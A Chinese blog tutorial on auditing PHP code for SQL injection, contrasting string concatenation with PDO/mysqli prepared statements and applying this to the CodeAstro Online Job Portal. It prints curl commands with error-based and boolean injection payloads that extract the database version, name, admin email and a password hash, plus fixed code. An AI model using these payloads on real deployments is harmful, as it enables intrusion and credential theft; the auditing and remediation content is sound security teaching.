php代码审计和零日漏洞的发现实战以及思路(主要是sql注入)
我们先探讨一下注入的本质是什么,注入的本质其实就是数据库的连接(可控的外部数据,和 SQL 语句的语法结构,拼接成了一条完整 SQL 字符串,交给数据库解析器执行)。从安全审计的角度讲防护方法基本就2种,第一种是安全执行方式预编译,第二种数据处理方式,比如加各种方式强制转换输入类型。
下面我们来看一段代码

id值拼接,用户值输入可控。
执行点mysqli_query($db_config,$sql);
没有任何的数据转义,预编译进行的一个安全写法的,所以这是存在sql注入的
$sql ="SELECT * FROM users WHERE id=$user_id";
变成$sql ="SELECT * FROM users WHERE id=int($user_id)";
这个时候呢,int导致了强类型直接变成了数字类型,
那么这个时候,虽然用户输入的值就可控,但是中间执行的过程发生了转义,接变成了数字类型,所以这个地方就不存在注入了,也就是不完全可控
sql注入关注的点:
1.用户输入的值是否可控
2.中间执行的过程是否进行了数据处理,比如int的类型转义或者安全的执行方式预编译
代码审计预编译写法大部分情况看问号,这个不管php还是java基本都是这样,当然也有占位符的特殊情况。
php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id=? AND status=?"); $stmt->bind_param("is", $id, $status); // 按顺序绑定
java
PreparedStatement ps = conn.prepareStatement( "SELECT * FROM users WHERE id=? AND status=?" );
ps.setInt(1, id); // 第1个问号
ps.setString(2, status); // 第2个问号
原因:
// 预编译执行流程:
prepare("SELECT * FROM users WHERE id=?") // 1. 先编译SQL结构
execute([$_GET['id']]) // 2. 再传数据
// 用户输入永远不会被当作SQL代码解析
// 输入: "1 OR 1=1" → 被当作纯字符串 "1 OR 1=1" 去匹配id列
php中常见的sql语句执行方式
1.mysql_query

2.mysqli
支持预编译
(1).mysqli_query:直接执行 SQL 字符串(拼接则存在注入)
// ❌ 危险,变量直接拼接
$user_id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$user_id";
$res = mysqli_query($conn, $sql);
预防手段
1)数据处理方式:强类型转换(仅数字字段)
$user_id = (int)$_GET['id']; // intval强转
$sql = "SELECT * FROM users WHERE id=$user_id";
$res = mysqli_query($conn, $sql);
2)数据处理方式:手动转义 mysqli_real_escape_string(字符串场景)
$name = mysqli_real_escape_string($conn, $_GET['name']);
$sql = "SELECT * FROM users WHERE name='$name'";
$res = mysqli_query($conn, $sql);
缺點:依赖连接字符集,GBK 宽字符可以绕过;属于数据清洗,不是预编译。
(2) mysqli prepare 预编译(安全执行方案,推荐)
3.PDO
(1)PDO::query () 直接执行拼接字符串(高危,和 mysqli_query 一致)
// ❌ 危险写法,变量拼接
$user_id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$user_id";
$stmt = $pdo->query($sql);
(2)PDO::prepare () 预编译
// ✅ 问号占位(位置绑定)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$user_id]);
// ✅ 命名占位符 :key(可读性更好)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id");
$stmt->execute(['id' => $user_id]);
但是PDO 默认不是服务端预编译
PDO::ATTR_EMULATE_PREPARES=true(默认开启),是 PHP 驱动在本地做字符串替换 + 转义,属于模拟预编译(伪预编译)。这种场景下 GBK 宽字符依旧可以绕过
只有手动关闭模拟预编译,才会下发给 MySQL 服务端做真正预编译:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
大致审计思路:
1.全局搜索的3大常见的sql语句执行方式(mysql_query,mysqli,PDO),查找变量直接拼接 SQL 的位置(注意php版本和其他信息,比如php7.0往上,就可以直接不用搜mysql)
2.追踪变量溯源:看 SQL 里拼接的变量,是否可以外部可控,有没有过滤 / 转义 / 预编译
3.边界测试:单引号、闭合、报错注入、布尔盲注、时间盲注测试
4.绕过测试:宽字符、过滤函数绕过
5.构造 POC,验证漏洞
下面进入实战案例
这次以Online Job Portal (CodeAstro) 为例子,后面会介绍零日漏洞的刷取思路
源码下载地址在人家官网往下翻,时间长了,链接我也忘了。
打开项目

按照方法1全局搜索,只有PDO有搜索结果

常用快捷键查看,参考筆記:https://share.mubu.com/doc/mRA8agKmME
1.下面查看第一处
(1)第一段统计 SQL:$conn->query()
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
SQL 语句硬编码,没有拼接任何外部可控变量,字符串'JOB SEEKER'写死在 SQL 里。
query()虽然是直接执行 SQL,但这里没有引入用户输入,不存在注入风险。
(2)分页查询部分:PDO 预编译命名占位符
$stmt = $conn->prepare("SELECT ... LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
使用 PDO prepare预编译 + 命名占位符 :limit / :offset,不是字符串拼接。
bindValue 指定参数类型 PDO::PARAM_INT,强制数据库层把参数当成数字,进一步加固。
LIMIT 和 OFFSET 的值通过占位符传入,用户输入不会被解析成 SQL 语法。
2.下面查看第2处
$stmt = $conn->prepare("
SELECT id, mypassword
FROM admins
WHERE adminname = :adminname
LIMIT 1
");
$stmt->execute([
':adminname' => $_SESSION['adminname']
]);
$admin = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$admin || !password_verify($current, $admin['mypassword'])) {
$error = "Current password is incorrect.";
} else {
$newHash = password_hash($new, PASSWORD_DEFAULT);
$update = $conn->prepare("
UPDATE admins
SET mypassword = :pass
WHERE id = :id
");
$update->execute([
':pass' => $newHash,
':id' => $admin['id']
]);
$success = "Password updated successfully.";
$forceLogout = true;
}
}
}
两段 SQL 全部使用 PDO prepare + 命名占位符:
1.查询语句:WHERE adminname = :adminname,绑定的值来自$_SESSION['adminname'](会话数据,不是外部 GET/POST 直接输入,就算可控,也是走预编译参数绑定)
2.更新语句:SET mypassword = :pass WHERE id = :id
:pass 绑定的是 password_hash() 生成的密码哈希字符串,不是原始用户输入;
:id 来自上一步查询出来的$admin['id'],数据库返回值。
WHERE adminname = :adminname—— PDO 命名占位符写法基础解释
$stmt = $conn->prepare(" SELECT id, mypassword FROM admins WHERE adminname = :adminname LIMIT 1 "); $stmt->execute([ ':adminname' => $_SESSION['adminname'] ]);
:adminname叫做命名占位符(named placeholder),是 PDO 预编译的其中一种语法。特征:以冒号
:开头,后面自定义名字,比如:id、:pass、:username。
和问号占位符对比(两种预编译,效果一样,只是写法不同)
- 命名占位符(PDO独有,mysqli不支持)
$sql = "SELECT * FROM admins WHERE adminname = :adminname AND id = :id"; $stmt->execute([ ':adminname' => $name, ':id' => $id ]);优点:可读性好,参数顺序不用死记,参数多的时候不容易乱。
- 问号占位符(PDO、mysqli都支持)
$sql = "SELECT * FROM admins WHERE adminname = ? AND id = ?"; $stmt->execute([$name, $id]);优点:通用,PHP、Java JDBC预编译都是问号风格。
注意:问号占位没有名字,严格按照数组顺序依次绑定。
底层执行流程(对应我们前面讲的注入原理)
prepare($sql):把这条SQL模板发给MySQL,数据库解析SQL语法树。
数据库此时就知道::adminname这个位置只能放数据,不能是SQL语法。execute(数组):单独把数组里的值传给数据库,不会再次解析SQL语法。
用户输入哪怕是 payload' OR 1=1 --,只会当成字符串值去匹配adminname字段,不会逃逸构造SQL语句 → 防SQL注入。
重点审计规则
只要满足两点:
- prepare 里面的SQL模板字符串没有拼接外部变量;
- 动态值全部通过命名占位符/问号占位符,在execute里传入。
不存在SQL注入。
错误写法(模板拼接变量,预编译失效)
// 不要混淆!这个依然注入! $name = $_GET['name']; $sql = "SELECT * FROM admins WHERE adminname = '$name'"; $stmt = $conn->prepare($sql); // prepare拿到的已经是拼接好污染后的SQL
补充小细节
- PDO命名占位符不允许同一个占位符在一条SQL写多次(部分驱动有坑),重复变量建议用多个不同命名占位符。
- 占位符只能用于字段值。表名、字段名、ORDER BY 的排序字段,不能用命名占位符,这是数据库底层限制。
// 无效!不能用占位符代替字段名 $sql = "SELECT :col FROM admins WHERE id=:id";
:col不会被解析成字段名,只会当成字符串常量查询。这种场景只能白名单。
3.下面查看第3处
// Totals (case-insensitive type match)
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
$totalRecords = (int)$totalStmt->fetch(PDO::FETCH_OBJ)->total;
$totalPages = max(1, (int)ceil($totalRecords / $limit));
// Clamp page if it overshoots
if ($page > $totalPages) {
$page = $totalPages;
$offset = ($page - 1) * $limit;
$counter = $offset + 1;
}
// Page of job seekers
$stmt = $conn->prepare("
SELECT id, fullname, username, email, contact
FROM users
WHERE UPPER(type) = 'JOB SEEKER'
ORDER BY id ASC
LIMIT :limit OFFSET :offset
");
$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$jobSeekers = $stmt->fetchAll(PDO::FETCH_OBJ);
- 第一段统计SQL:
$conn->query()
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM users WHERE UPPER(type) = 'JOB SEEKER'");
- SQL语句硬编码,没有拼接任何外部可控变量,字符串
'JOB SEEKER'写死在SQL里。 query()虽然是直接执行SQL,但这里没有引入用户输入,不存在注入风险。
- 分页查询部分:PDO预编译命名占位符
$stmt = $conn->prepare("SELECT ... LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
- 使用PDO
prepare预编译 + 命名占位符:limit/:offset,不是字符串拼接。 bindValue指定参数类型PDO::PARAM_INT,强制数据库层把参数当成数字,进一步加固。LIMIT和OFFSET的值通过占位符传入,用户输入不会被解析成SQL语法。
4.下面查看第4处
$chk = $conn->prepare("SELECT 1 FROM categories WHERE id = :id LIMIT 1");
$chk->execute([':id' => $id]);
if (!$chk->fetch()) {
header("Location: " . ADMINURL . "/categories-admins/show-categories.php?error=" . urlencode("Category not found."));
exit;
}
$del = $conn->prepare("DELETE FROM categories WHERE id = :id");
$del->execute([':id' => $id]);
还是没有,原因同上
5.下面查看第5处
$totalStmt = $conn->query("SELECT COUNT(*) AS total FROM categories");
$totalRecords = (int)$totalStmt->fetch(PDO::FETCH_OBJ)->total;
$totalPages = max(1, (int)ceil($totalRecords / $limit));
if ($page > $totalPages) { // clamp overflow page param
$page = $totalPages;
$offset = ($page - 1) * $limit;
$counter = $offset + 1;
}
// Fetch page
$stmt = $conn->prepare("SELECT id, name FROM categories ORDER BY id DESC LIMIT :limit OFFSET :offset");
$stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
$stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
$stmt->execute();
$categories = $stmt->fetchAll(PDO::FETCH_OBJ);
硬编码和預編譯
直接跳到有注入的地方,不然太慢了。
VULN-01: SQL 注入 — 数据库任意数据提取
| 属性 | 值 |
|---|---|
| 文件 | users/application_status.php 第 63 行 |
| 类型 | CWE-89 SQL Injection |
| CVSS | 9.1 (Critical) |
| 阳性验证 | ✅ 已确认 — 提取到 MySQL 版本、数据库名、管理员密码 hash |
漏洞代码:
if (isset($_GET["id"])) {
$jobId = $_GET["id"];
// retrieveing the applicant details based on $jobId from the database
$getApplicant = $conn->query("SELECT * FROM job_applications WHERE job_id = '$jobId'");
$getApplicant->execute();
$applicant = $getApplicant->fetch(PDO::FETCH_OBJ);
// to check if an applicant with the given job ID exists
if (!$applicant) {
$errorMessage = "Applicant not found.";
}
验证过程:
# 提取数据库版本
curl "http://localhost/ojp/users/application_status.php?id=1'+AND+extractvalue(1,concat(0x7e,version(),0x7e))--+-"
# → ~5.7.26~ ✅
# 提取当前数据库
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,database(),0x7e))--+-"
# → ~ojpcodeastro~ ✅
# 提取管理员邮箱
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,(SELECT+email+FROM+admins+LIMIT+0,1),0x7e))--+-"
# → ~admin@mail.com~ ✅
# 提取管理员密码 hash
curl "...?id=1'+AND+extractvalue(1,concat(0x7e,(SELECT+SUBSTR(mypassword,1,30)+FROM+admins+LIMIT+0,1),0x7e))--+-"
# → ~$2y$10$96YcvidLzEoi3Qp5U6232e5~ ✅
影响: 未认证攻击者可提取全部数据库数据,包括管理员和用户密码 hash。
VULN-02: SQL 注入 — 注册表单
| 属性 | 值 |
|---|---|
| 文件 | auth/register.php 第 55 行 |
| 类型 | CWE-89 SQL Injection |
| CVSS | 8.6 (High→Critical) |
| 阳性验证 | ✅ 已确认 |
漏洞代码:
$validate = $conn->query("SELECT * FROM users WHERE email = '$email' OR username = '$username'");
验证过程:
# 逻辑注入 — username = 'OR'1'='1 使查询返回所有用户
curl -X POST ".../register.php" -d "username=%27OR%271%27%3D%271&email=inj@test.com&..."
# → alert('email or username is aleardy taken') ✅
# 报错注入 — email = a' 触发 SQL 语法错误
curl -X POST ".../register.php" -d "email=a%27%40test.com&..."
# → SQLSTATE Syntax error ✅
注意: email 字段限制 22 字符、username 限制 15 字符,但足够构造报错注入/盲注 payload。
VULN-03: SQL 注入 — Admin 删除职位 (附带认证绕过)
| 属性 | 值 |
|---|---|
| 文件 | admin/jobs-admins/delete-jobs.php 第 32 行 |
| 类型 | CWE-89 SQL Injection |
| CVSS | 8.1 (High) |
| 阳性验证 | ✅ 已确认 |
漏洞代码:
$id = $_GET['id'];
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");
// prepare() 毫无意义 — $id 已直接拼接在 SQL 字符串中!
验证:
curl "http://localhost/ojp/admin/jobs-admins/delete-jobs.php?id=0'+AND+extractvalue(1,concat(0x7e,database()))--+-"
# → SQLSTATE XPATH 报错 ✅
变量$id在传入 prepare 之前,已经拼进 SQL 字符串,prepare 拿到的是已经闭合污染的 SQL,预编译完全无效,依旧存在 SQL 注入。
但是为什么完全无效呢?
核心一句话
prepare("DELETE FROM jobs WHERE id = '$id'")
在调用 prepare 之前,PHP 已经把 $id 的内容拼进 SQL 字符串里了。
prepare 收到的不是“模板”,而是一条已经被用户payload污染、完整闭合好的SQL语句。预编译的核心机制根本没有机会生效。
拆解完整执行流程(VULN-03例子)
原始漏洞代码:
$id = $_GET['id'];
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");
假设传入 payload:id=0' AND extractvalue(1,concat(0x7e,database()))-- -
- PHP 先做字符串变量插值:
$sql_str = "DELETE FROM jobs WHERE id = '0' AND extractvalue(1,concat(0x7e,database()))-- -'";
这一步发生在PHP语言层面,还没发给数据库。单引号已经被攻击者用来闭合,注入语句已经拼接完成。
- 然后把拼接完成的污染SQL字符串传给
prepare($sql_str) - MySQL 收到这一整条SQL,直接解析整条语句的语法,不存在分离模板 + 单独传参数这个过程。
真正安全预编译的逻辑:
SQL模板固定不变,里面不带外部变量,只留占位符。// 模板是写死的字符串,没有变量拼接 $delete = $conn->prepare("DELETE FROM jobs WHERE id = :id"); // 数据单独传递,不会拼入SQL模板 $delete->execute([':id' => $id]);prepare拿到的是模板,execute单独传数据,数据库区分「SQL语法」和「数据」。
为什么很多人踩这个坑?
误以为只要代码里出现 prepare() 函数,就等于预编译防护。
prepare() 只是一个函数,它不会自动帮你隔离变量。它只会把你传给它的字符串当成SQL模板。
- 传给prepare的字符串提前拼接了用户可控变量 → 预编译失效,存在注入
- 传给prepare的字符串是固定模板,只有占位符 → 正常预编译,防注入
类比理解(很形象)
- 安全预编译:你先给数据库一张填空试卷(SQL模板,空位置用占位符标记),之后单独提交答案。数据库知道答案只能填在空格里,答案不能修改试卷本身。
- 漏洞写法:你提前把答案直接手写进试卷里,再把整张写满的纸交给数据库。此时试卷本身已经被篡改,再交给prepare也没用。
补充区分:PDO模拟预编译在这里有没有影响?
这里和ATTR_EMULATE_PREPARES无关。
因为还没进入预编译参数绑定环节,SQL模板在PHP侧就已经被污染,不管是模拟预编译还是服务端原生预编译,都救不了。
判断
看prepare括号里面的双引号/单引号,有没有PHP变量插值。
有变量拼接 → 假预编译,注入风险;
只有占位符(? / :name) → 真预编译。
VULN-03 原始漏洞回顾
文件:admin/jobs-admins/delete-jobs.php
漏洞代码:
$id = $_GET['id'];
// 错误:变量先拼进SQL字符串,再丢给prepare,预编译完全失效
$delete = $conn->prepare("DELETE FROM jobs WHERE id = '$id'");
修复后完整代码
<?php
// 假设前面已经初始化PDO连接 $conn
// 开启服务端原生预编译(可选加固,推荐)
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$id = $_GET['id'];
// 关键点:SQL模板固定,只放命名占位符 :id,**不拼接任何外部变量**
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
// 参数单独传入,数据不会参与SQL语法拼接
$delete->execute([
':id' => $id
]);
// 可选:获取影响行数,判断是否删除成功
$affected = $delete->rowCount();
if ($affected > 0) {
echo "删除成功";
} else {
echo "未找到对应数据";
}
?>
也可以用问号占位符版本,效果完全一致:
$delete = $conn->prepare("DELETE FROM jobs WHERE id = ?");
$delete->execute([$id]);
修复版本完整执行流程(分步拆解)
假设攻击者传入 payload:
id=0' AND extractvalue(1,concat(0x7e,database()))-- -
- PHP接收输入
$id = $_GET['id'];
$id的值:0' AND extractvalue(1,concat(0x7e,database()))-- -
此时只是一个普通字符串变量,还没有拼入SQL语句
- prepare 发送SQL模板给MySQL
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
传给MySQL的SQL模板:DELETE FROM jobs WHERE id = :id
- MySQL解析这条SQL的语法树
- MySQL标记:
:id这个位置只能接收纯数据,不能作为SQL语法 - 模板固定,不会带入攻击者payload
- execute() 将参数单独传递给数据库
$delete->execute([':id' => $id]);
PHP把$id的字符串单独作为参数发给MySQL,不再拼接进SQL模板。
MySQL收到参数内容:0' AND extractvalue(1,concat(0x7e,database()))-- -
- 数据库处理逻辑
MySQL把传入的整串payload全部当成字面量字符串,去和jobs表id字段做值匹配。
相当于执行语义:
查找
id等于字符串0' AND extractvalue(1,concat(0x7e,database()))-- -的记录,然后删除。
因为id一般是整型,数据库会尝试把这个长字符串转数字,最终得到0。
只会尝试删除id=0的行,payload里的单引号、AND、extractvalue 全部不会被解析成SQL语法,注入payload失效。
对比漏洞版执行流程(方便对照记忆)
payload:id=0' AND extractvalue(1,concat(0x7e,database()))-- -
- PHP字符串插值:把
$id直接拼进SQL
DELETE FROM jobs WHERE id = '0' AND extractvalue(1,concat(0x7e,database()))-- -'
- 把拼接完成的整条SQL送入prepare
- MySQL拿到完整SQL,直接解析整条语句,注入逻辑执行成功
补充加固小建议
- id是数字,可以在绑定的时候指定参数类型,进一步限制:
$delete = $conn->prepare("DELETE FROM jobs WHERE id = :id");
$delete->bindValue(':id', $id, PDO::PARAM_INT);
$delete->execute();
PDO::PARAM_INT 告诉数据库,这个参数必须按数字处理。
- 增加权限校验:这个是管理员删除接口,必须校验管理员会话,否则即使防注入,未授权访问依然可以删数据。
// 增加会话鉴权,放在最前面
session_start();
if (!isset($_SESSION['adminname'])){
exit("无权限");
}
- 增加输入校验:
is_numeric或者强转,作为多层防御(纵深防御)
$id = $_GET['id'];
if (!is_numeric($id)){
exit("非法ID");
}
$id = (int)$id;
核心区别
- 漏洞版:先拼接SQL,再prepare → SQL语法被污染
- 修复版:先prepare固定SQL模板,execute单独传数据 → 数据永远不会变成SQL语法
VULN-02 零日漏洞。
下图里ai喂的是03,实际都是同一个漏洞


详细分析
$validate = $conn->query("SELECT * FROM users WHERE email = '$email' OR username = '$username'");
$validate->execute();
if($validate->rowCount() > 0) {
echo "<script>alert('email or username is aleardy taken')</script>"; // 状态①
} else {
// 执行注册 INSERT ... // 状态②
}
关键:这段代码产生两种截然不同的响应:
rowCount() > 0(查询命中)→ 弹 "already taken"
rowCount() = 0(查询无结果)→ 进入注册流程(报 fullname 错误)
3.2 注入后 SQL 的真假
攻击者提交 email = ' OR '1'='1,SQL 变成:
sql
复制
SELECT * FROM users WHERE email = '' OR '1'='1' OR username = 'zzA'
'1'='1' 永远为真 → 整个 WHERE 恒真 → 每一行都匹配 → rowCount() > 0 → 状态①
攻击者提交 email = ' OR '1'='2:
sql
复制
SELECT * FROM users WHERE email = '' OR '1'='2' OR username = 'zzA'
'1'='2' 永远为假,email 和 username 也不匹配 → 0 行匹配 → rowCount() = 0 → 状态②
3.3 差分信号
注入条件 SQL 逻辑值 页面响应 攻击者观察
' OR '1'='1 真 "already taken" 看到 A
' OR '1'='2 假 fullname 错误 看到 B
A ≠ B,这就是差分信号。 攻击者从此掌握了一个"真假开关"。
装逼结束,进入正事,教你们怎么挖零日
由于上下文长度的原因,其实就是懒得不想写了。就是之前的审计审出来了,至少有五个以上的零日漏洞,本次就不展示了。
下面是agent的代码审计思路

浙公网安备 33010602011771号